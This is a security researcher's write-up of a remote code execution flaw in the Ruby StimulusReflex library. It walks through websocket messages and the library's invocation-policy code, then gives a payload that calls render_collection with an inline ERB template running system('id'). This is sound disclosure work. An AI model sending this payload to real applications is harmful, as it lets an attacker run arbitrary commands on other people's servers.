when ruby's public_send method is an oddly named eval

There are different approaches to the problem of updating only the relevant part of the page when a user performs an action. My understanding of the StimulusReflex library is that it tackles this problem in a way that still relies on server-side templates. That is, it uses websockets messages to request a part of the html to be built server-side.

exploration

When using a StimulusReflex application, you will see a websocket connection being established for the /cable path. Under certain user actions messages that can look like the following will be exchanged:

{"command":"message","identifier":"{\"channel\":\"StimulusReflex::Channel\"}","data":"{\"attrs\":{\"data-reflex\":\"change->DocumentReflex#change_name\",\"data-reflex-dataset\":\"ancestors\",\"class\":\"form-control\",\"value\":\"rename.me.me\",\"data-controller\":\"folders\",\"data-action\":\"change->folders#__perform\",\"checked\":false,\"selected\":false,\"tag_name\":\"INPUT\"},\"dataset\":{\"dataset\":{\"data-reflex\":\"change->DocumentReflex#change_name\",\"data-reflex-dataset\":\"ancestors\",\"data-controller\":\"folders\",\"data-action\":\"change->folders#__perform\",\"data-reflex-root\":\"#folder\",\"data-document-id\":\"543884\"},\"datasetAll\":{}},\"selectors\":[\"#folder\"],\"id\":\"84abfdb3-a58d-4248-a9a2-ad7aa619056a\",\"resolveLate\":false,\"suppressLogging\":false,\"xpathController\":\"//*[@id='document_543884']/div[1]/div[3]/form[1]/input[1]\",\"xpathElement\":\"//*[@id='document_543884']/div[1]/div[3]/form[1]/input[1]\",\"inner_html\":\"\",\"text_content\":\"\",\"reflexController\":\"folders\",\"permanentAttributeName\":\"data-reflex-permanent\",\"target\":\"DocumentReflex#change_name\",\"args\":[],\"url\":\"http://localhost/\",\"tabId\":\"69415f36-c3ce-4922-abb3-1739fcfe77e9\",\"version\":\"3.5.0-pre10\",\"formData\":\"\"}"}

There is a lot of stuff in this message and I don't know what it is all used for but you can see interesting target and args fields: \"target\":\"DocumentReflex#change_name\",\"args\":[]. This corresponds to a server-side class and method that will be invoked. Even before reviewing how this invocation is implemented, you can try to change the #method part with a method from the object class. Promisingly, this would lead to responses such as "wrong number of arguments (given [], expected [[:req]], optional [])".

{"identifier":"{\"channel\":\"StimulusReflex::Channel\"}","message":{"cableReady":true,"operations":[{"name":"stimulus-reflex:morph-error","payload":{},"stimulusReflex":{"attrs":{"data-reflex":"change-\u003eDocumentReflex#change_name","data-reflex-dataset":"ancestors","class":"form-control","value":"rename.me.me","data-controller":"folders","data-action":"change-\u003efolders#__perform","checked":false,"selected":false,"tagName":"INPUT"},"dataset":{"dataset":{"data-reflex":"change-\u003eDocumentReflex#change_name","data-reflex-dataset":"ancestors","data-controller":"folders","data-action":"change-\u003efolders#__perform","data-reflex-root":"#folder","data-document-id":"543884"},"datasetAll":{}},"selectors":["#folder"],"id":"84abfdb3-a58d-4248-a9a2-ad7aa619056a","resolveLate":false,"suppressLogging":false,"xpathController":"//*[@id='document_543884']/div[1]/div[3]/form[1]/input[1]","xpathElement":"//*[@id='document_543884']/div[1]/div[3]/form[1]/input[1]","innerHtml":"","textContent":"","reflexController":"folders","permanentAttributeName":"data-reflex-permanent","target":"DocumentReflex#method","args":[],"url":"http://localhost/","tabId":"69415f36-c3ce-4922-abb3-1739fcfe77e9","version":"3.5.0-pre10","formData":"","morph":"page"},"error":"wrong number of arguments (given [], expected [[:req]], optional []) ","reflexId":"84abfdb3-a58d-4248-a9a2-ad7aa619056a","operation":"dispatchEvent"}],"version":"5.0.0.pre10"}}

Yet, at this point no side-effect could be observed when attempting to call methods such as Object#instance_eval or Kernel#system!

vulnerability

In this case, finding the relevant security-sensitive code is as simple as searching for "wrong number of arguments (given [], expected [[:req]], optional [])". It is found in stimulus_reflex/app/channels/stimulus_reflex/channel.rb

def delegate_call_to_reflex(reflex)
  method_name = reflex.method_name
  arguments = reflex.data.arguments
  method = reflex.method(method_name)

  policy = StimulusReflex::ReflexMethodInvocationPolicy.new(method, arguments)

  if policy.no_arguments?
    reflex.process(method_name)
  elsif policy.arguments?
    reflex.process(method_name, *arguments)
  else
    raise ArgumentError.new("wrong number of arguments (given #{arguments.inspect}, expected #{policy.required_params.inspect}, optional #{policy.optional_params.inspect})")
  end
end

Where the process method is basically public_send.

# Invoke the reflex action specified by `name` and run all callbacks
def process(name, *args)
  run_callbacks(:process) { public_send(name, *args) }
end
The crux of the matter is to find what counts as a method with arguments according to the ReflexMethodInvocationPolicy in stimulus_reflex/lib/stimulus_reflex/policies/reflex_invocation_policy.rb
module StimulusReflex
  class ReflexMethodInvocationPolicy
    attr_reader :arguments, :required_params, :optional_params

    def initialize(method, arguments)
      @arguments = arguments
      @required_params = method.parameters.select { |(kind, _)| kind == :req }
      @optional_params = method.parameters.select { |(kind, _)| kind == :opt }
    end

    def no_arguments?
      arguments.size == 0 && required_params.size == 0
    end

    def arguments?
      arguments.size >= required_params.size && arguments.size <= required_params.size + optional_params.size
    end

    def unknown?
      return false if no_arguments?
      return false if arguments?

      true
    end
  end
end

Ruby has different types of arguments. Notably there is :req for required arguments like "def foo(bar)", :opt for optional arguments like "def foo(bar=3)" or :rest for variable amount of arguments like "def foo(*bar)". According to ReflexMethodInvocationPolicy, only methods with :req or :opt parameters can be called and the methods attempted earlier all only have a single :rest argument. So what methods are left? This is simple to enumerate:

obj.methods.select do |name|
  obj.method(name).parameters.flatten.count { |type| type == :req or type == :opt } > 0
end

Among the results is the StimulusReflex::Reflex#render_collection method. This is a thin wrapper around a call to the ActionController::Base#render method and it supports passing in a template as a string.

\"target\":\"StimulusReflex::Reflex#render_collection\",\"args\":[{\"inline\": \"<% system('id') %>\"}]

This works because even though the inner render method uses a variable amount of arguments, the outer render_collection does not.

disclosure



April 11ᵗʰ 2024